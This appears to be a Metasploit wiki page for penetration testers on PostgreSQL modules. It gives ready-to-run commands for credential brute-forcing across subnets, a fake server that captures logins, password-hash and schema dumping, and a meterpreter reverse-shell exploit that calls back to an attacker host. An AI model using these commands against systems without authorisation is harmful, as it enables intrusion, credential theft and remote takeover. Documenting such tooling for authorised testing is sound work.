Skip to content

Metasploit Guide PostgreSQL

adfoster-r7 edited this page Apr 22, 2022 · 6 revisions

PostgreSQL Workflows

PostgreSQL, sometimes aliased as Postgres, is frequently found on port 5432/TCP. It is an open-source relational database management system.

Metasploit has support for multiple PostgreSQL modules, including:

  • Version enumeration
  • Verifying/bruteforcing credentials
  • Dumping database information
  • Capture server
  • Executing arbitrary SQL queries against the database
  • Gaining reverse shells

When testing in a lab environment PostgreSQL can either be installed on the host machine or within Docker:

docker run --rm -p 5432:5432 -e POSTGRES_PASSWORD=password postgres:13.1-alpine

There are more modules than listed here, for the full list of modules run the search command within msfconsole:

msf6 > search postgres

PostgreSQL Enumeration

Enumerate version:

use auxiliary/scanner/postgres/postgres_version
run postgres://192.168.123.13
run postgres://postgres:[email protected]

PostgreSQL Login / Bruteforce

If you have PostgreSQL credentials to validate:

use auxiliary/scanner/postgres/postgres_login
run 'postgres://root: a b c [email protected]'

Re-using PostgreSQL credentials in a subnet:

use auxiliary/scanner/postgres/postgres_login
run cidr:/24:myspostgresl://user:[email protected] threads=50

Using an alternative port:

use auxiliary/scanner/postgres/postgres_login
run postgres://user:[email protected]:2222

Brute-force host with known user and password list:

use auxiliary/scanner/postgres/postgres_login
run postgres://[email protected] threads=50 pass_file=./wordlist.txt

Brute-force credentials:

use auxiliary/scanner/postgres/postgres_login
run postgres://192.168.222.1 threads=50 user_file=./users.txt pass_file=./wordlist.txt

Brute-force credentials in a subnet:

use auxiliary/scanner/postgres/postgres_login
run cidr:/24:postgres://user:[email protected] threads=50
run cidr:/24:postgres://[email protected] threads=50 pass_file=./wordlist.txt

PostgreSQL Capture Server

Captures and log PostgreSQL credentials:

use auxiliary/server/capture/postgresql
run

For example, if a client connects with:

psql postgres://postgres:mysecretpassword@localhost:5432

Metasploit's output will be:

msf6 auxiliary(server/capture/postgresql) >
[*] Started service listener on 0.0.0.0:5432
[*] Server started.
[+] PostgreSQL LOGIN 127.0.0.1:60406 postgres / mysecretpassword / postgres

PostgreSQL Dumping

User and hash dump:

use auxiliary/scanner/postgres/postgres_hashdump
run postgres://postgres:[email protected]
run postgres://postgres:[email protected]/database_name

Schema dump:

use auxiliary/scanner/postgres/postgres_schemadump
run postgres://postgres:[email protected]
run postgres://postgres:[email protected] ignored_databases=template1,template0,postgres

PostgreSQL Querying

use auxiliary/admin/postgres/postgres_sql
run 'postgres://user:this is my [email protected]/database_name' sql='select version()'

PostgreSQL Reverse Shell

use exploit/linux/postgres/postgres_payload
run postgres://postgres:[email protected] lhost=192.168.123.1 lport=5000 payload=linux/x64/meterpreter/reverse_tcp target='Linux\ x86_64'

Metasploit Wiki Pages


Clone this wiki locally